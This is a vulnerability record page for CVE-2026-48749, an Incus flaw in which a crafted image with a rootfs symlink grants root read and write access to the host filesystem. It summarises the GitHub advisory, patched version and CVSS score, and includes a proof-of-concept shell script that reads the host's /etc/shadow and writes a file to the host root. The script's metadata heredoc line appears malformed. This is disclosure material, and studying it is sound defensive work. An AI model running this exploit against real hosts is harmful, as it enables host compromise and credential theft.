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Response snapshot Nov 6, 2026, 00:56 UTC

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VulnerabilityCVE-2026-48749

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Incus validates an image as soon as it sees a normal metadata.

At a glance

Exploited
Not known
Severity
9.9 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/lxc/incus/v7/cmd/incusd: 7.2.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-2q3f-q5pq-g8wv (opens a new tab)

What happened

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

Continue reading
metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
 rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat "${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
 description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs

incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink

# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Affected package ranges reported by GitHub: github.com/lxc/incus/v7/cmd/incusd: < 7.2.0

Scores and how they were measured

CVSS base severity

9.9

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-2q3f-q5pq-g8wv (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-2q3f-q5pq-g8wv, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 5). Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image (CVE-2026-48749). https://kevwire.com/record/CVE-2026-48749

MLA

"Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image (CVE-2026-48749)." KEVWire, 5 Nov. 2026, kevwire.com/record/CVE-2026-48749.

Chicago

KEVWire. "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image (CVE-2026-48749)." Last modified November 5, 2026. https://kevwire.com/record/CVE-2026-48749.

Evidence summary (plain text)

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image (Jun 26, 2026).
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

In practice, this allows a malicious actor to access the host's filesystem with root privileges.
CVSS 9.9 (version 3.1; evidence as of Nov 5, 2026; https://github.com/advisories/GHSA-2q3f-q5pq-g8wv).
Sources:
GitHub-reviewed advisory GHSA-2q3f-q5pq-g8wv: https://github.com/advisories/GHSA-2q3f-q5pq-g8wv
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-48749.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 6, 2026, 00:35 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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Record details

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